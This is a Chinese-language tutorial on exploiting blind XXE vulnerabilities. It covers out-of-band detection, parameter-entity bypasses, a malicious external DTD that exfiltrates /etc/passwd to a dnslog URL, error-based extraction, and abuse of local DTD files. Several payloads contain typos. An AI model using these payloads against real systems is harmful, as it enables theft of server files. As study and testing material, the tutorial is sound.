0x02 使用out-of-band(OAST)技术检测Blind XXE漏洞
0x01 blind XXE漏洞
XML外部实体盲注是指应用程序存在XXE漏洞,但是在响应包中无法得到任何有关外部实体的信息。这就意味着传统的XXE SSRF攻击是无法完成的,所以正常情况下Blind XXE漏洞更难利用。
Blind XXE 常用的两种利用方式
触发out-of-band网络交互,有时会在交互数据中泄露敏感数据。
触发XML 解析错误,通过错误消息获取到敏感数据。
0x02 使用out-of-band(OAST)技术检测Blind XXE漏洞
可以使用我们自己可控的服务器或应用程序通过out-of-band网络交互技术来检测Blind XXE漏洞。例如:
<!DOCTYPE a [
<IENTITY xxe SYSTEM "http://c7p3st.dnslog.cn">
]>
<a>&xxe;</a>
2.1 使用参数实体进行绕过
在有些情况下,由于应用程序对输入进行验证等措施,常规的实体注入可能会被阻拦,无法正常获取到信息,此时我们可以通过使用参数实体进行绕过。
<!DOCTYPE a [<!ENTITY % xxe SYSTEM "http://c7p3st.dnslog.cn"> %xxe; ]>
2.2 利用out-of-band获取敏感信息
使用out-of-band技术只能证明应用系统存在Blind XXE漏洞,但攻击者终究是为了利用漏洞获取敏感信息。此时可以通过攻击者可控的服务器或者应用程序建立恶意的DTD文件,再在目标服务器解析加载恶意DTD,从而获取敏感信息。
# 构造请求包正常:
<!DOCTYPE a [<!ENTITY % xxe SYSTEM "http://vps/xxe.dtd"> %xxe;]>
# 构造恶意xxe.dtd:
<!ENTITY % file SYSTEM "file://etc/passwd">
<!ENTITY % extfile SYSTEM "<!ENTITY % exfiltrate SYSTEM 'http://dnslog.cn/?x=%file;'>">
%extfile;
%exfiltarte;
此类技术对于/etc/passwd等文件不太友好,原因在于XML解析器是使用API获取带有恶意DTD文件的URL的,API只能验证出现在URL中的字符,这时使用FTP协议替换HTTP协议会好很多,但有时它可能不太支持换行符等字符,所以这种情况下使用/etc/host来验证漏洞比较合适一点。
0x03 利用XML解析错误信息获取敏感信息
如果应用系统在XML的返回信息中包含错误信息,那么我们可以通过触发XML解析错误,从而获取到应用程序敏感信息。
可以通过以下方式来触发XML解析错误信息,并且错误信息中包含/etc/passwd等应用程序敏感信息。
# 构造xxe.dtd文件
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
# 构造恶意请求
<!DOCTYPE a [
<!ENTITY % xxe SYSTEM "http://vps/xxe.dtd"> %xxe; ]>
0x04 利用本地DTD文件获取敏感信息
前面几种方式适合外部DTD,对于只能使用DOCTYPE内元素的内部DTD来说是没有作用的,主要原因为那些方式在参数实体中定义了另外的参数实体,根据XML规范,这在外部DTD中是允许的,但在内部DTD中是不允许的。这时候就要思考当我们的out-of-band带外技术被阻拦时,我们无法通过out-of-band获取敏感数据,也无法加载远程服务器中的DTD文件,该如何利用Blind XXE漏洞。
此时,利用解析错误获取敏感信息还是可能的,这取决于XML语言的漏洞:如果一个DTD混合使用内部DTD和外部DTD,内部DTD可以进行重新定义由外部DTD引用的实体,这样就放宽了在另一个参数实体的定义中使用XML参数实体的限制。
这意味着攻击者可以在内部DTD中使用基于错误的XXE技术,前提是他们使用的XML参数实体正在重新定义在外部DTD中声明的实体。当然,如果带外连接被阻止,则无法从远程位置加载外部DTD。相反,它需要是应用服务器本地的外部DTD文件。本质上,攻击涉及调用本地文件系统上碰巧存在的DTD文件,并重新调整其用途,以触发包含敏感数据的解析错误的方式重新定义现有实体。
例如:在应用程序中存在/usr/local/app/schema.dtd,且这个DTD文件定义了一个custom_entity的实体。攻击者可以通过以下方式触发XML解析错误,从而获取到敏感数据。
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
如何寻找本地的DTD文件
这种利用方式最重要的还是去应用程序服务器中寻找可以利用的DTD文件。这其实是特别简单的:当应用程序因为XML解析错误返回错误信息时,我们可以通过从内部DTD中加载他们来枚举出本机的DTD文件。
例如:使用GNOME环境的Linux通常会存在/usr/share/yelp/dtd/docbookx.dtd文件,可以通过以下XXE负载来判断此文件是否存在。
<!DOCTYPE XXE [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
再找到DTD文件后,可以通过网上去寻找这个DTD文件,并且分析是否可以重定义参数进行利用。
参考资料:
What is a blind XXE attack? Tutorial & Examples | Web Security Academy